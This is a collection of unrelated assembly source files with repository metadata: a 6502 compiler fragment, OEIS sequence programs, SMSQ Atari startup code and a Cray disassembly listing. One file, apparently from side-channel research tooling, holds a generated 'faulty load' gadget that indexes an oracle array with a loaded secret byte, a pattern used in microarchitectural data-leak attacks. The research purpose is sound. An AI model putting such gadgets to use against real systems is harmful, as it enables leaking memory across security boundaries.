2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/main/fragment/mos6502-common/vdum1=_makelong4_(vbuyy)_(vbuxx)_(vbuaa)_(vbum2).asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/main/fragment/mos6502-common/vdum1=_makelong4_(vbuyy)_(vbuxx)_(vbuaa)_(vbum2).asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
sty {m1}
stx {m1}+1
lda {m2}
sta {m1}+2
lda {m2}
sta {m1}+3
| 8.571429
| 10
| 0.55
|
6d34d0eb650df7108bb134021cdf981dc8a3a0c9
| 444
|
asm
|
Assembly
|
programs/oeis/338/A338588.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/338/A338588.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/338/A338588.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A338588: a(n)/A002939(n+1) is the Kirchhoff index of the disjoint union of two complete graphs each on n and n+1 vertices with the empty graph on n+1 vertices.
; 2,77,334,881,1826,3277,5342,8129,11746,16301,21902,28657,36674,46061,56926,69377,83522,99469,117326,137201,159202,183437,210014,239041,270626,304877,341902,381809,424706,470701,519902
mov $1,$0
mul $1,36
add $1,2
mov $2,$0
add $2,1
pow $2,2
mul $1,$2
mul $1,5
div $1,10
add $1,1
| 31.714286
| 185
| 0.738739
|
7f71db9afe7c61e04e32400e290a16b39d21b846
| 156
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/z80/c/sdcc_iy/z80_get_int_state.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/z80/c/sdcc_iy/z80_get_int_state.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/_DEVELOPMENT/z80/c/sdcc_iy/z80_get_int_state.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
; uint z80_get_int_state(void)
SECTION code_z80
PUBLIC _z80_get_int_state
EXTERN asm_z80_get_int_state
defc _z80_get_int_state = asm_z80_get_int_state
| 14.181818
| 47
| 0.858974
|
e8ba48853adbf6de24bde5bf7b4e22931e39af0c
| 249
|
asm
|
Assembly
|
programs/oeis/063/A063896.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/063/A063896.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/063/A063896.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A063896: a(n) = 2^Fibonacci(n) - 1.
; 0,1,1,3,7,31,255,8191,2097151,17179869183,36028797018963967,618970019642690137449562111
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
mov $1,2
pow $1,$0
sub $1,1
mov $0,$1
| 27.666667
| 89
| 0.64257
|
ed18b0bbdf34bb81cb3daabbafe359d3692f5745
| 1,767
|
asm
|
Assembly
|
programs/oeis/084/A084184.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/084/A084184.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/084/A084184.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A084184: Partial sums of a Jacobsthal related sequence.
; 0,1,2,7,10,31,42,127,170,511,682,2047,2730,8191,10922,32767,43690,131071,174762,524287,699050,2097151,2796202,8388607,11184810,33554431,44739242,134217727,178956970,536870911,715827882,2147483647,2863311530,8589934591,11453246122,34359738367,45812984490,137438953471,183251937962,549755813887,733007751850,2199023255551,2932031007402,8796093022207,11728124029610,35184372088831,46912496118442,140737488355327,187649984473770,562949953421311,750599937895082,2251799813685247,3002399751580330,9007199254740991,12009599006321322,36028797018963967,48038396025285290,144115188075855871,192153584101141162,576460752303423487,768614336404564650,2305843009213693951,3074457345618258602,9223372036854775807,12297829382473034410,36893488147419103231,49191317529892137642,147573952589676412927,196765270119568550570,590295810358705651711,787061080478274202282,2361183241434822606847,3148244321913096809130,9444732965739290427391,12592977287652387236522,37778931862957161709567,50371909150609548946090,151115727451828646838271,201487636602438195784362,604462909807314587353087,805950546409752783137450,2417851639229258349412351,3223802185639011132549802,9671406556917033397649407,12895208742556044530199210,38685626227668133590597631,51580834970224178120796842,154742504910672534362390527,206323339880896712483187370,618970019642690137449562111,825293359523586849932749482,2475880078570760549798248447,3301173438094347399730997930,9903520314283042199192993791,13204693752377389598923991722,39614081257132168796771975167,52818775009509558395695966890,158456325028528675187087900671,211275100038038233582783867562,633825300114114700748351602687
mov $1,2
mov $2,$0
mod $0,2
add $0,2
pow $1,$2
mul $0,$1
sub $0,2
div $0,3
| 147.25
| 1,632
| 0.91511
|
6bd8bee60604d4fa9791e974bf989ede01214fd7
| 453
|
asm
|
Assembly
|
programs/oeis/084/A084903.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/084/A084903.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/084/A084903.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A084903: Binomial transform of positive cubes.
; 1,9,44,170,576,1792,5248,14688,39680,104192,267264,672256,1662976,4055040,9764864,23257088,54853632,128253952,297533440,685375488,1568669696,3569352704,8078229504,18192793600,40785412096,91049951232
mov $1,$0
add $1,2
mov $2,$0
mov $4,$0
add $4,2
mov $5,-2
lpb $0
sub $0,1
mul $1,2
add $2,$4
add $2,3
add $5,1
lpe
mov $3,6
add $3,$5
add $3,$2
mul $3,2
mul $1,$3
sub $1,16
div $1,16
add $1,1
| 18.12
| 200
| 0.697572
|
cafd54535328e261df119240943de6d96f32b1ac
| 332
|
asm
|
Assembly
|
oeis/021/A021681.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/021/A021681.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/021/A021681.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A021681: Decimal expansion of 1/677.
; Submitted by Christian Krause
; 0,0,1,4,7,7,1,0,4,8,7,4,4,4,6,0,8,5,6,7,2,0,8,2,7,1,7,8,7,2,9,6,8,9,8,0,7,9,7,6,3,6,6,3,2,2,0,0,8,8,6,2,6,2,9,2,4,6,6,7,6,5,1,4,0,3,2,4,9,6,3,0,7,2,3,7,8,1,3,8,8,4,7,8,5,8,1,9,7,9,3,2,0,5,3,1,7,5,7
add $0,1
mov $2,10
pow $2,$0
div $2,677
mov $0,$2
mod $0,10
| 30.181818
| 199
| 0.566265
|
6033568262805dff8fbd170de3b282a4c26c648f
| 708
|
asm
|
Assembly
|
oeis/104/A104553.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/104/A104553.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/104/A104553.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A104553: Sum of trapezoid weights of all Schroeder paths of length 2n.
; Submitted by Jon Maiga
; 1,7,38,198,1039,5533,29852,162716,893997,4942723,27466082,153264066,858230875,4820155001,27141345912,153168964216,866086326425,4905744855359,27830459812830,158102366711550,899290473825511,5120997554408597,29191620055374228,166560724629655188,951183261925500229,5436299438537318203,31093087813040543642,177959942992487440506,1019195879585567752627,5840516612144609593841,33487762288290165967344,192108652603358286514672,1102604463203407550235185,6331285891150838551110519,36370720120428454042958998
add $0,1
mov $2,$0
seq $0,89165 ; Partial sums of the central Delannoy numbers (A001850).
sub $0,$2
div $0,2
| 70.8
| 499
| 0.865819
|
fa4b41cfc696c242bb6cbd03740140de5a9b4e6f
| 4,360
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_134.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_134.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_134.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1dfd1, %rcx
and $33935, %rdi
movw $0x6162, (%rcx)
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_D_ht+0x5af3, %r10
nop
nop
nop
sub %rbx, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, %xmm5
vmovups %ymm5, (%r10)
xor %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r15
push %r8
push %rbp
// Faulty Load
lea addresses_normal+0x12d0b, %r13
xor %r14, %r14
vmovups (%r13), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %r15
lea oracles, %r8
and $0xff, %r15
shlq $12, %r15
mov (%r8,%r15,1), %r15
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 59.726027
| 2,999
| 0.662615
|
9912a66204512bad2535fe8fd2423fa0b89c69c0
| 2,459
|
asm
|
Assembly
|
smsq/atari/nasty.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
smsq/atari/nasty.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
smsq/atari/nasty.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; Nasty Initialisation for Atari ST for SMSQ
section header
xref smsq_end
header_base
dc.l nasty_base-header_base ; length of header
dc.l 0 ; module length unknown
dc.l smsq_end-nasty_base ; loaded length
dc.l 0 ; checksum
dc.l 0 ; always select
dc.b 1 ; 1 level down
dc.b 0
dc.w smsq_name-*
smsq_name
dc.w 26,'SMSQ Atari Initialisation '
dc.l ' '
dc.w $200a
section init
xdef sms_wbase
xref rtc_init
xref at_poll
xref hw_poll
xref init_hdop
xref gu_exvt
xref sms_hdop
xref sms_rrtc
xref sms_srtc
xref sms_artc
include 'dev8_keys_sys'
include 'dev8_keys_psf'
include 'dev8_keys_atari'
include 'dev8_keys_68000'
include 'dev8_keys_qdos_sms'
include 'dev8_smsq_smsq_base_keys'
include 'dev8_mac_assert'
nasty_base
jsr init_hdop ; clean initialisation of hdop server
; The nasty initialisation requires a return to system state
; On exit the interrupts are cleared in the status register
moveq #sms.xtop,d0
trap #do.sms2 ; do code until rts as extop
clr.w psf_sr(a5) ; we can clear interrupts on return
move.b #3,sys_pmem(a6) ; set default protection level
lea at_int2,a0 ; set null interrupt level 2
move.l a0,exv_i2
lea at_int4,a0 ; set null interrupt level 4
move.l a0,exv_i4
lea at_poll,a0
move.l a0,vio_200h+mfp_vbas ; link in polling interrupt
lea hw_poll,a0
move.l a0,sms.hpoll ; and tidy up
lea sms_hdop,a0
move.l a0,sms.t1tab+sms.hdop*4 ; set hdop
assert sms.rrtc,sms.srtc-1,sms.artc-2
lea sms.t1tab+sms.rrtc*4,a1 ; set rtc
lea sms_rrtc,a0
move.l a0,(a1)+
lea sms_srtc,a0
move.l a0,(a1)+
lea sms_artc,a0
move.l a0,(a1)+
bset #mfp..tci,mfp_tcm ; unmask timer interrupt
move.b sys_ptyp(a6),d1 ; processor
cmp.b #$20,d1 ; 020 or more?
blt.s nasty_done ; ... no
moveq #sys.mtyp,d3
and.b sys_mtyp(a6),d3 ; machine type
cmp.b #sys.mmste,d3 ; mega ste of less?
bhi.s nasty_cache ; ... no
lea nasty_hc30e,a0 ; enable hypercache
moveq #exv_accf,d0 ; with access fault protection
jsr gu_exvt
nasty_cache
jsr sms.cenab ; enable both caches
clr.w sys_castt(a6) ; and say enabled
nasty_done
jsr rtc_init
move.l d1,sys_rtc(a6) ; set RTC
rts
nasty_hc30e
or.b #at.hc30e,at_hc30e ; enable hypercache 030 caches
rts
;+++
; Atari SMS2 interrupt 2,4 server sets interrupt mask to level 4
;---
at_int2
at_int4
or.w #$0400,(sp) ; level 2 (or 3)
and.w #$fcff,(sp) ; level 2
rte
sms_wbase
jmp sms.wbase
end
| 19.672
| 64
| 0.711265
|
af1d1599f8497de01436645c015ab9f1dbbc9b35
| 144
|
asm
|
Assembly
|
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/pcr/Mcamera.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/pcr/Mcamera.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/polygon.lzh/polygon/pcr/Mcamera.asm
|
prismotizm/gigaleak
|
d082854866186a05fec4e2fdf1def0199e7f3098
|
[
"MIT"
] | null | null | null |
Name: Mcamera.asm
Type: file
Size: 6663
Last-Modified: '1992-10-05T05:04:14Z'
SHA-1: 5EB2AF39D1A68111CAF94DFD473FD620F58A70A1
Description: null
| 20.571429
| 47
| 0.8125
|
2ec6e00fce0943156e5b75c21ffd5d42cf04fc45
| 33,853
|
asm
|
Assembly
|
target/cos_117/disasm/iop_overlay1/XPRNTB.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 49
|
2020-10-09T12:29:16.000Z
|
2022-03-12T02:33:35.000Z
|
target/cos_117/disasm/iop_overlay1/XPRNTB.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 1
|
2021-12-29T15:59:25.000Z
|
2021-12-29T15:59:25.000Z
|
target/cos_117/disasm/iop_overlay1/XPRNTB.asm
|
jrrk2/cray-sim
|
52c9639808d6890517092637b188282c00cce4f7
|
[
"BSL-1.0"
] | 6
|
2021-04-12T06:10:32.000Z
|
2022-02-08T23:11:19.000Z
|
0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0001 (0x000002) 0x291A- f:00024 d: 282 | OR[282] = A
0x0002 (0x000004) 0x2118- f:00020 d: 280 | A = OR[280]
0x0003 (0x000006) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x0004 (0x000008) 0x2908- f:00024 d: 264 | OR[264] = A
0x0005 (0x00000A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0006 (0x00000C) 0x291B- f:00024 d: 283 | OR[283] = A
0x0007 (0x00000E) 0x2118- f:00020 d: 280 | A = OR[280]
0x0008 (0x000010) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0009 (0x000012) 0x290D- f:00024 d: 269 | OR[269] = A
0x000A (0x000014) 0x310D- f:00030 d: 269 | A = (OR[269])
0x000B (0x000016) 0x290E- f:00024 d: 270 | OR[270] = A
0x000C (0x000018) 0x210E- f:00020 d: 270 | A = OR[270]
0x000D (0x00001A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x000E (0x00001C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x000F (0x00001E) 0x290F- f:00024 d: 271 | OR[271] = A
0x0010 (0x000020) 0x210F- f:00020 d: 271 | A = OR[271]
0x0011 (0x000022) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0012 (0x000024) 0x290F- f:00024 d: 271 | OR[271] = A
0x0013 (0x000026) 0x210E- f:00020 d: 270 | A = OR[270]
0x0014 (0x000028) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0016 (0x00002C) 0x250F- f:00022 d: 271 | A = A + OR[271]
0x0017 (0x00002E) 0x290E- f:00024 d: 270 | OR[270] = A
0x0018 (0x000030) 0x390D- f:00034 d: 269 | (OR[269]) = A
0x0019 (0x000032) 0x210F- f:00020 d: 271 | A = OR[271]
0x001A (0x000034) 0x2118- f:00020 d: 280 | A = OR[280]
0x001B (0x000036) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x001C (0x000038) 0x2908- f:00024 d: 264 | OR[264] = A
0x001D (0x00003A) 0x3108- f:00030 d: 264 | A = (OR[264])
0x001E (0x00003C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x001F (0x00003E) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0020 (0x000040) 0x8402- f:00102 d: 2 | P = P + 2 (0x0022), A = 0
0x0021 (0x000042) 0x7008- f:00070 d: 8 | P = P + 8 (0x0029)
0x0022 (0x000044) 0x1800-0x0245 f:00014 d: 0 | A = 581 (0x0245)
0x0024 (0x000048) 0x291D- f:00024 d: 285 | OR[285] = A
0x0025 (0x00004A) 0x7525- f:00072 d: 293 | R = P + 293 (0x014A)
0x0026 (0x00004C) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0027 (0x00004E) 0x291A- f:00024 d: 282 | OR[282] = A
0x0028 (0x000050) 0x7045- f:00070 d: 69 | P = P + 69 (0x006D)
0x0029 (0x000052) 0x2119- f:00020 d: 281 | A = OR[281]
0x002A (0x000054) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x002B (0x000056) 0x8402- f:00102 d: 2 | P = P + 2 (0x002D), A = 0
0x002C (0x000058) 0x7023- f:00070 d: 35 | P = P + 35 (0x004F)
0x002D (0x00005A) 0x745E- f:00072 d: 94 | R = P + 94 (0x008B)
0x002E (0x00005C) 0x7534- f:00072 d: 308 | R = P + 308 (0x0162)
0x002F (0x00005E) 0x211C- f:00020 d: 284 | A = OR[284]
0x0030 (0x000060) 0x1202- f:00011 d: 2 | A = A & 2 (0x0002)
0x0031 (0x000062) 0x2908- f:00024 d: 264 | OR[264] = A
0x0032 (0x000064) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0033 (0x000066) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x0034 (0x000068) 0x8602- f:00103 d: 2 | P = P + 2 (0x0036), A # 0
0x0035 (0x00006A) 0x7014- f:00070 d: 20 | P = P + 20 (0x0049)
0x0036 (0x00006C) 0x2118- f:00020 d: 280 | A = OR[280]
0x0037 (0x00006E) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0038 (0x000070) 0x2908- f:00024 d: 264 | OR[264] = A
0x0039 (0x000072) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003A (0x000074) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x003B (0x000076) 0x8402- f:00102 d: 2 | P = P + 2 (0x003D), A = 0
0x003C (0x000078) 0x700D- f:00070 d: 13 | P = P + 13 (0x0049)
0x003D (0x00007A) 0x1800-0x0244 f:00014 d: 0 | A = 580 (0x0244)
0x003F (0x00007E) 0x291D- f:00024 d: 285 | OR[285] = A
0x0040 (0x000080) 0x750A- f:00072 d: 266 | R = P + 266 (0x014A)
0x0041 (0x000082) 0x2118- f:00020 d: 280 | A = OR[280]
0x0042 (0x000084) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0043 (0x000086) 0x2908- f:00024 d: 264 | OR[264] = A
0x0044 (0x000088) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0045 (0x00008A) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0046 (0x00008C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0047 (0x00008E) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0048 (0x000090) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0049 (0x000092) 0x2118- f:00020 d: 280 | A = OR[280]
0x004A (0x000094) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013)
0x004B (0x000096) 0x2908- f:00024 d: 264 | OR[264] = A
0x004C (0x000098) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x004D (0x00009A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x004E (0x00009C) 0x701F- f:00070 d: 31 | P = P + 31 (0x006D)
0x004F (0x00009E) 0x2119- f:00020 d: 281 | A = OR[281]
0x0050 (0x0000A0) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x0051 (0x0000A2) 0x8402- f:00102 d: 2 | P = P + 2 (0x0053), A = 0
0x0052 (0x0000A4) 0x7003- f:00070 d: 3 | P = P + 3 (0x0055)
0x0053 (0x0000A6) 0x7438- f:00072 d: 56 | R = P + 56 (0x008B)
0x0054 (0x0000A8) 0x7019- f:00070 d: 25 | P = P + 25 (0x006D)
0x0055 (0x0000AA) 0x2119- f:00020 d: 281 | A = OR[281]
0x0056 (0x0000AC) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x0057 (0x0000AE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0059), A = 0
0x0058 (0x0000B0) 0x7008- f:00070 d: 8 | P = P + 8 (0x0060)
0x0059 (0x0000B2) 0x1800-0x0242 f:00014 d: 0 | A = 578 (0x0242)
0x005B (0x0000B6) 0x291D- f:00024 d: 285 | OR[285] = A
0x005C (0x0000B8) 0x74EE- f:00072 d: 238 | R = P + 238 (0x014A)
0x005D (0x0000BA) 0x74BC- f:00072 d: 188 | R = P + 188 (0x0119)
0x005E (0x0000BC) 0x742D- f:00072 d: 45 | R = P + 45 (0x008B)
0x005F (0x0000BE) 0x700E- f:00070 d: 14 | P = P + 14 (0x006D)
0x0060 (0x0000C0) 0x2119- f:00020 d: 281 | A = OR[281]
0x0061 (0x0000C2) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x0062 (0x0000C4) 0x8402- f:00102 d: 2 | P = P + 2 (0x0064), A = 0
0x0063 (0x0000C6) 0x7008- f:00070 d: 8 | P = P + 8 (0x006B)
0x0064 (0x0000C8) 0x1800-0x0241 f:00014 d: 0 | A = 577 (0x0241)
0x0066 (0x0000CC) 0x291D- f:00024 d: 285 | OR[285] = A
0x0067 (0x0000CE) 0x74E3- f:00072 d: 227 | R = P + 227 (0x014A)
